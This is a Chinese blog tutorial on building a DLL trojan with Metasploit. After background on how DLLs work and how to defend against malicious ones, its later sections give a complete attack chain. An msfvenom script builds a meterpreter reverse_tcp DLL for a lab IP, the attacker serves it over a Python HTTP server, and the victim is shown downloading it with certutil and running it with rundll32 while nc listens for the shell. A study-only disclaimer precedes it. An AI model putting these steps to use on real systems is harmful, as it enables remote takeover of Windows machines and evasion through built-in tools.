当前位置: 首页 > news >正文

metasploit(2)生成dll木马

声明!本文章所有的工具分享仅仅只是供大家学习交流为主,切勿用于非法用途,如有任何触犯法律的行为,均与本人及团队无关!!!

一、dll文件基本概念

DLL 是一种包含可由多个程序同时使用的代码和数据的库。它允许程序在运行时动态地加载和使用其中的函数和资源,而不是将所有代码都静态地链接到可执行文件中。这样可以节省磁盘空间和内存,并且方便软件的更新和维护。

二、dll文件工作原理

1、静态链接 vs 动态链接

    静态链接:在编译时,将库文件中的代码和数据直接合并到可执行文件中。这样生成的可执行文件包含了所有必要的代码,但是文件体积较大,而且如果库文件更新,需要重新编译整个程序。动态链接:在运行时,程序才会去加载所需的 DLL 文件,并将其中的函数和资源映射到自己的地址空间中。多个程序可以共享同一个 DLL 文件,减少了内存的占用。

2、 加载过程

    当程序启动时,如果需要使用某个 DLL,操作系统会检查该 DLL 是否已经加载到内存中。如果 DLL 未加载,操作系统会将其加载到内存中,并为其分配一个基地址。程序通过 DLL 的导出表找到所需的函数和变量,并调用它们。

三、DLL文件的优点

节省磁盘空间和内存:多个程序可以共享同一个 DLL 文件,避免了代码的重复存储和加载。
易于更新和维护:如果 DLL 文件中的代码需要更新,只需要替换 DLL 文件即可,不需要重新编译整个程序。
模块化开发:将不同的功能封装在不同的 DLL 文件中,便于团队协作开发和代码的复用。

四、dll文件的缺点

版本兼容性问题:如果 DLL 文件的版本发生变化,可能会导致与使用该 DLL 的程序不兼容。
依赖管理复杂:程序可能依赖多个 DLL 文件,这些 DLL 文件之间也可能存在依赖关系,管理起来比较复杂。
安全性风险:恶意软件可以通过替换或注入 DLL 文件来执行恶意代码。

五、DLL 文件在渗透测试中的应用

1、反弹 Shell

如之前脚本中所示,使用 msfvenom 工具生成包含反弹 Shell 功能的 DLL 文件,然后在目标主机上执行该 DLL 文件,与攻击主机建立反向连接,从而获得目标主机的控制权。

2、权限提升

通过注入 DLL 文件到具有高权限的进程中,利用该进程的权限执行恶意代码,实现权限提升。

六、常见的 DLL 操作命令

rundll32:用于运行 DLL 文件中的指定函数。例如:rundll32 example.dll,FunctionName
regsvr32:用于注册和注销 DLL 文件。例如:regsvr32 example.dll 注册 DLL,regsvr32 /u example.dll 注销 DLL

七、安全防护措施

数字签名验证:确保 DLL 文件来自可信的发布者,通过验证数字签名来防止恶意 DLL 文件的加载。
白名单机制:只允许加载系统中预先定义的白名单中的 DLL 文件,禁止加载未知来源的 DLL 文件。
实时监控:使用杀毒软件和入侵检测系统实时监控 DLL 文件的加载和执行情况,及时发现和阻止恶意行为。

八、msf生成dll木马

1、创建dll生成脚本

vim msf_dll.sh#!/bin/baship=192.168.60.128
port=4444
arch=x86
platform=windows
format=dll
payload=windows/meterpreter/reverse_tcp# use exploit/multi/handlerout=$HOME/Desktop/a.dllmsfvenom -p $payload LHOST=$ip LPORT=$port -f $format  -a $arch --platform $platform -o $out

2、执行脚本创建dll木马

chmod +x msf_dll.sh
./msf_dll.sh

九、windows运行dll木马

1、攻击机创建http微服务

python -m http.server 8008

2、攻击机建立监听

nc -lvvp 4444 

3、windows下载dll木马

certutil -urlcache -split -f "http://192.168.60.128:8008/a.dll" a.dll

4、windows靶机执行dll木马

rundll32 D:\a.dll,DllMain

相关文章:

  • 基于 Spring Boot实现的图书管理系统
  • 龙虎榜——20250422
  • PyTorch与自然语言处理:从零构建基于LSTM的词性标注器
  • JavaScript的JSON处理Map的弊端
  • Spring Boot 应用优雅关闭
  • FLV 与 MP4 格式深度剖析:结构、原理
  • 【前端】【业务场景】【面试】在网页开发中,如何优化图片以提高页面加载速度?解决不同设备屏幕适配问题
  • 进阶篇 1:超越基准 - 指数平滑 (ETS) 模型详解
  • http通信之axios vs fecth该如何选择?
  • kubernetes》》k8s》》删除命名空间
  • element-ui cascader 组件源码分享
  • Redis—为何持久化使用子进程
  • dify工作流之text-2-e-sql,大模型写sql并执行
  • 《 C++ 点滴漫谈: 三十四 》从重复到泛型,C++ 函数模板的诞生之路
  • 【C++】vector<bool>特化
  • [二叉树]关于前序、中序、后序、层序序列
  • 【机器学习】决策树算法中的 “黄金指标”:基尼系数深度剖析
  • w~视觉~3D~合集2
  • C# foreach 循环中获取索引的完整方案
  • VIN解析API开发指南:从年检报告构建智能定损系统
  • 嫦娥八号任务合作项目,这十个入选
  • 搜索市场战火延伸:OpenAI虎视眈眈,欲收购谷歌浏览器
  • 经济日报刊文:如何破除“内卷式”竞争
  • 开发国内首个泌尿专科智能体,医生们将临床经验转变为知识图谱
  • 经济日报刊文谈外卖平台仍试图凭补贴制造超低价:苦练内功摆脱“内卷式”竞争
  • 哈佛大学就联邦经费遭冻结起诉特朗普政府